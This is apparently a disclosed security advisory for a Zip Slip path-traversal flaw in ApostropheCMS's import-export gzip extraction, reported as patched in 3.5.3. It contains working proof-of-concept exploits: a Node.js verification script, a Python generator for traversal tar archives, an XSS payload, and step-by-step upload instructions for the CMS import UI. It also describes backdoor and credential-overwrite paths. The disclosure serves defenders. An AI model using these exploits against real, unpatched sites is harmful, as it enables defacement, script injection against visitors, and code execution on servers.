ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction

Reported: 2026-03-08
Status: patched and released in version 3.5.3 of @apostrophecms/import-export

Product

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write

Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

• Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection

ApostropheCMS serves <project-root>/public/ via Express static middleware:

// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables:

• Full site defacement
• Serving phishing pages from the legitimate CMS domain
• Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)

If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite

Overwrite .env, app.config.js, database seed files, or any config file to:

• Exfiltrate database credentials on next load
• Redirect authentication to an attacker-controlled backend
• Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service

Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.

Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

Proof of Concept

Two PoC artifacts are provided:

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py):

import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 — Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:

python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing:

• aposDocs.json — empty, required by the importer
• aposAttachments.json — empty, required by the importer
• ../../../../<project-root>/public/injected.html — the traversal payload

Step 3 — Upload via CMS Import UI

1. Log in to the CMS with any account that has Global Content Modify permission.
2. Navigate to Open Global Settings → More Options → Import.
3. Select evil-slip.tar.gz and click Import.
4. The CMS accepts the file and begins extraction — no error is shown.

Step 4 — Confirm the write

curl http://localhost:3000/injected.html

Expected response:

<!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing